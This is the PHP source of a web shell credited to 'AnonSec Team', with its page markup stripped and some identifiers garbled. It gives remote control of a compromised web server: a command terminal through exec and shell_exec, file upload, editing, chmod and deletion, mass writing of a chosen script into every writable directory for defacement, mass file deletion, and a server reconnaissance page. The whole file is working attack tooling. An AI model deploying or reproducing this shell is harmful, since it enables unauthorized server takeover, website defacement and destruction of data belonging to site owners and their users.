  '; foreach($scandir as $dir){ $dt = date("Y-m-d", filemtime("$path/$dir")); if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo " "; } foreach($scandir as $file){ $ft = date("Y-m-d", filemtime("$path/$file")); if(!is_file($path.'/'.$file)) continue; $s = filesize($path.'/'.$file)/1024; $s = round($s,3); if($s >= 1024){ $s = round($s/1024,2).' MB'; }else{ $s = $s.' KB'; } echo " "; } } echo "

  Name	Last edit	Size	Permission	Options
  $dir	$dt	DIR	"; if(is_writable("$path/$dir")) echo ''; elseif(!is_readable("$path/$dir")) echo ''; echo p("$path/$dir"); if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo ''; echo "	Select Delete Chmod Rename
  $file	$ft	$s	"; if(is_writable("$path/$file")) echo ''; elseif(!is_readable("$path/$file")) echo ''; echo p("$path/$file"); if(is_writable("$path/$file") || !is_readable("$path/$file")) echo ''; echo "	Select Delete Edit Rename Chmod Download

  Copyright © ".date("Y")." - $?
  "; ?> table{display:none;}"; if(isset($_GET['option']) && $_POST['opt'] == 'download'){ header('Content-type: text/plain'); header('Content-Disposition: attachment; filename="'.$_POST['name'].'"'); echo(file_get_contents($_POST['path'])); exit(); } if(get_magic_quotes_gpc()){ foreach($_POST as $key=>$value){ $_POST[$key] = stripslashes($value); } } function ?($dir,$p) { if (isset($_GET['path'])) { $? = $_GET['path']; } else { $? = getcwd(); } if (is_writable($?)) { return "".$p.""; } else { return "".$p.""; } } function dc($dir,$p) { if (isset($_GET['path'])) { $? = $_GET['path']; } else { $? = getcwd(); } if (is_writable($?)) { return "".$p.""; } else { return "".$p.""; } } function ip() { $ipas = ''; if (getenv('HTTP_CLIENT_IP')) $ipas = getenv('HTTP_CLIENT_IP'); else if(getenv('HTTP_X_FORWARDED_FOR')) $ipas = getenv('HTTP_X_FORWARDED_FOR'); else if(getenv('HTTP_X_FORWARDED')) $ipas = getenv('HTTP_X_FORWARDED'); else if(getenv('HTTP_FORWARDED_FOR')) $ipas = getenv('HTTP_FORWARDED_FOR'); else if(getenv('HTTP_FORWARDED')) $ipas = getenv('HTTP_FORWARDED'); else if(getenv('REMOTE_ADDR')) $ipas = getenv('REMOTE_ADDR'); else $ipas = 'IP tidak dikenali'; return $ipas; } function ekse() { $cmd = "whoami"; $return = ""; $output = ""; $methodArray = array(); //exec() $return = ""; $output = ""; exec($cmd, $output, $return); if (strlen($output[0]) > 0 && $return == 0) { $methodArray[] = "exec"; } //shell_exec() $return = ""; $output = ""; $output = shell_exec($cmd); if (strlen($output) > 0) { $methodArray[] = "shell_exec"; } return $methodArray; } function ekseCMD($cmd, $method) { if ($method == "") { ob_start(); $methodArray = ekse(); ob_end_clean(); if (is_array($methodArray)) { $method = $methodArray[0]; } } switch ($method) { case "exec": exec($cmd, $output); var_dump($output); break; case "shell_exec": echo shell_exec($cmd); break; } } $cmd = htmlspecialchars($_POST["cmd"]); $method = htmlspecialchars($_POST["execCMD"]); function p($file){ $p = fileperms($file); if (($p & 0xC000) == 0xC000) { $i = 's'; } elseif (($p & 0xA000) == 0xA000) { $i = 'l'; } elseif (($p & 0x8000) == 0x8000) { $i = '-'; } elseif (($p & 0x6000) == 0x6000) { $i = 'b'; } elseif (($p & 0x4000) == 0x4000) { $i = 'd'; } elseif (($p & 0x2000) == 0x2000) { $i = 'c'; } elseif (($p & 0x1000) == 0x1000) { $i = 'p'; } else { $i = 'u'; } $i .= (($p & 0x0100) ? 'r' : '-'); $i .= (($p & 0x0080) ? 'w' : '-'); $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); $i .= (($p & 0x0020) ? 'r' : '-'); $i .= (($p & 0x0010) ? 'w' : '-'); $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); $i .= (($p & 0x0004) ? 'r' : '-'); $i .= (($p & 0x0002) ? 'w' : '-'); $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); return $i; exit(); } echo "

  $? Bypass 403

  "; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo ' : /'; continue; } if($pat == '') continue; echo ''.$pat.'/'; } echo " [ ".?($path, p($path))." ]"; echo "

   Menu

  Upload Mass depes Mass delete Terminal Info server About

  "; // tools nya if(isset($_GET['dir'])) { $dir = $_GET['dir']; chdir($dir); } else { $dir = getcwd(); } $dir = str_replace("\\","/",$dir); $scdir = explode("/", $dir); for($i = 0; $i <= $c_dir; $i++) { $scdir[$i]; if($i != $c_dir) { } elseif($_GET['id'] == 'depes'){ function mass_kabeh($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $? = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($?, $isi_script); } elseif($dirb === '..') { file_put_contents($?, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "[success] $?
  "; file_put_contents($?, $isi_script); $? = mass_kabeh($dirc,$namafile,$isi_script); } } } } } } function mass_biasa($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $? = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($?, $isi_script); } elseif($dirb === '..') { file_put_contents($?, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "[success] $dirb/$namafile
  "; file_put_contents($?, $isi_script); } } } } } } if($_POST['start']) { if($_POST['tipe'] == 'massal') { echo "

  "; mass_kabeh($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "

  "; } elseif($_POST['tipe'] == 'biasa') { echo "

  "; mass_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "

  "; } } else { echo "
  $?

  Tipe:
  

  Biasa

  Massal

  Lokasi: File name: Your script:
  

  "; } } elseif($_GET['id'] == 'info'){ $disfunc = @ini_get("disable_functions"); if (empty($disfunc)) { $disfc = "NONE"; } else { $disfc = "$disfunc"; } if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "ON" : "OFF"; echo '
  '.$?.'

  '; echo "Uname: ".php_uname()."
  "; echo "Software: ".$_SERVER['SERVER_SOFTWARE']."
  "; echo "PHP version: ".PHP_VERSION." PHP os: ".PHP_OS."
  "; echo "Server Ip: ".gethostbyname($_SERVER['HTTP_HOST'])."
  "; echo "Your Ip: ".ip()."
  "; echo "User: $user ($uid) | Group: $group ($gid)
  "; echo "Safe Mode: $sm
  "; echo "Disable Function:

  $disfc

  "; echo '

  '; } elseif($_GET['id'] == 'about'){ echo '
  '.$?.'

  '; echo ""; echo "- About Me -
  "; echo "Thanks bre dah pake shell nya, jika ada yang error silahkan hubungi email di bawah.
  Greetz : { AnonSec Team } - And You
  My email: unknownsec1337@gmail.com"; echo '

  '; } elseif($_GET['id'] == 'cmd') { echo "$?
  

  $method"; ob_start(); $methodArray = ekse(); ob_end_clean(); foreach ($methodArray as $value) { echo "$value"; } echo '

  '; if($cmd == "") { echo "

  ";
  		ekseCMD("whoami", $method);
  		echo '

  '; }else { echo "

  ~$ ".$cmd."
  ";
  		ekseCMD($cmd, $method);
  		echo "

  "; } } elseif($_GET['id'] == 'upload'){ echo '
  '.$?.'

  Submit

  '; if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo ' '; }else{ echo ' '; } } } elseif($_GET['id'] == 'delete'){ function hapus_massal($dir,$namafile) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $? = $dirc.'/'.$namafile; if($dirb === '.') { if(file_exists("$dir/$namafile")) { unlink("$dir/$namafile"); } } elseif($dirb === '..') { if(file_exists("".dirname($dir)."/$namafile")) { unlink("".dirname($dir)."/$namafile"); } } else { if(is_dir($dirc)) { if(is_writable($dirc)) { if(file_exists($?)) { echo "[deleted] $?
  "; unlink($?); $? = hapus_massal($dirc,$namafile); } } } } } } } if($_POST['start']) { echo "

  "; hapus_massal($_POST['d_dir'], $_POST['d_file']); echo "

  "; } else { echo "
  $?

  Lokasi: File name:

  
  

  "; } } } // akhir tools if(isset($_GET['filesrc'])){ echo "
  name : ".basename($_GET['filesrc']);"
  "; echo ' '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'
  '; } elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '
  name : '.basename($_POST['path']);'
  '; //Chmod if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo ' '; }else{ echo ' '; } } echo '

  '; } //rename folder elseif($_GET['opt'] == 'btw'){ $cwd = getcwd(); echo '

  '; } //rename file elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo ' '; }else{ echo ' '; } $_POST['name'] = $_POST['newname']; } echo '

  '; } //edit file elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo ' '; }else{ echo ' '; } fclose($fp); } echo '

  '.htmlspecialchars(file_get_contents($_POST['path'])).'
  

  
  '; } }else{ //delete dir if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo ' '; }else{ echo ' '; } } //delete file elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo ' '; }else{ echo ' '; } } } echo ''; $scandir = scandir($path); $pa = getcwd(); echo '

  '; foreach($scandir as $dir){ $dt = date("Y-m-d", filemtime("$path/$dir")); if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo " "; } foreach($scandir as $file){ $ft = date("Y-m-d", filemtime("$path/$file")); if(!is_file($path.'/'.$file)) continue; $s = filesize($path.'/'.$file)/1024; $s = round($s,3); if($s >= 1024){ $s = round($s/1024,2).' MB'; }else{ $s = $s.' KB'; } echo " "; } } echo "

  Name	Last edit	Size	Permission	Options
  $dir	$dt	DIR	"; if(is_writable("$path/$dir")) echo ''; elseif(!is_readable("$path/$dir")) echo ''; echo p("$path/$dir"); if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo ''; echo "	Select Delete Chmod Rename
  $file	$ft	$s	"; if(is_writable("$path/$file")) echo ''; elseif(!is_readable("$path/$file")) echo ''; echo p("$path/$file"); if(is_writable("$path/$file") || !is_readable("$path/$file")) echo ''; echo "	Select Delete Edit Rename Chmod Download

  Copyright © ".date("Y")." - $?
  "; ?>
• ">